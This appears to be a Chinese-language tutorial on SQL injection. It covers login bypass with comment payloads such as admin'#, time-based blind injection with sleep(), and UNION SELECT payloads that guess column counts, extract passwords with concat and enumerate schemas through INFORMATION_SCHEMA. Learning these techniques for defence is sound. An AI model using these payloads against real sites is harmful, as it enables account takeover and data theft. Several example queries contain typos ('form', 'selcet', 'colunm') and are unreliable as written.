一、SQL注入概念
1、sql注入是一種将sql代碼添加到輸入參數中
2、傳遞到sql伺服器解析并執行的一種攻擊手法
舉例:某個網站的使用者名為name=‘admin’。執行時為select name from users where name=‘admin’
則輸入時輸入name='' or '1=1'。實則資料庫中執行的是select name from users where name='' or '1=1'則為真,使用者名有效
二、SQL注入的産生
1、web開發人員無法保證所有的輸入都已經過濾
2、攻擊者利用發送給sql伺服器的輸入資料構造可執行的sql代碼
3、資料庫未做相應的安全配置
對于1和2兩點,攻擊者可以利用get請求、post請求、cookie資訊、相應的http頭資訊等進行資料的輸入而達到攻擊的目的
三、尋找sql注入漏洞
1、通過構造異常而引發異常,例如:隻支援整型的地方輸入特殊字元來引起sql異常
2、通過get請求、post請求、cookie資訊、相應的http頭資訊等查找敏感資訊
3、檢測伺服器中相應的異常
四、進行sql注入攻擊
1、數字注入。利用資料庫中where判斷語句中數字輸入進行攻擊。
例如:select name from users where name='' or '1=1'。結果永遠為true
2、字元串注入。利用mysql的注釋方法進行攻擊
a、#注釋的方法。
使用者名的輸入框中輸入:admin'#,密碼任意填寫。
在資料庫中執行的是:select * from name='admin'#'and password=xxxxx'。#後面的全部注釋掉,判斷的時候隻判斷name=admin
b、-- hdka方法,兩個橫杠+空格+任意字元。在執行的時候空格後面的所有被當作注釋處理
使用者名的輸入框中輸入:admin'-- ,密碼任意填寫。
在資料庫中執行的是:select * from name='admin'-- 'and password=xxxxx'。#後面的全部注釋掉,判斷的時候隻判斷name=admin
五、注入步驟
1、找尋注入點
輸入一個單引号,如果報錯說明文法錯誤則存在注入點
執行的語句為:select xxx form xxx where x=‘‘’;
如果單引号沒有反應,可嘗試盲注
加時間進行嘗試
X' and sleep(10) --ss'
sleep中的為時間,10即位10s
如果浏覽器顯示在加載中說明可能存在注冊點
2、猜字段
Sql中數字可以作為字段進行比對
因為使用union必須前後字段數量相同
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
...
如果前面語句中隻有兩個字段,但是想要擷取4個其他表中字段值,使用concat
例:selcet id,name form user where = 輸入框;
注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'
3、使用union獲得其他表資訊
獲得目前資料庫及使用者資訊
' union select version(),database() --'
資料庫版本資訊
version()
獲得目前資料庫名
database()
查詢所有庫名
'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'
查詢表名
'union select table_name from INFORMATION_SCHEMA.tables --'
查詢表名及對應的庫名
'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'
查詢資料表中的列名
'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'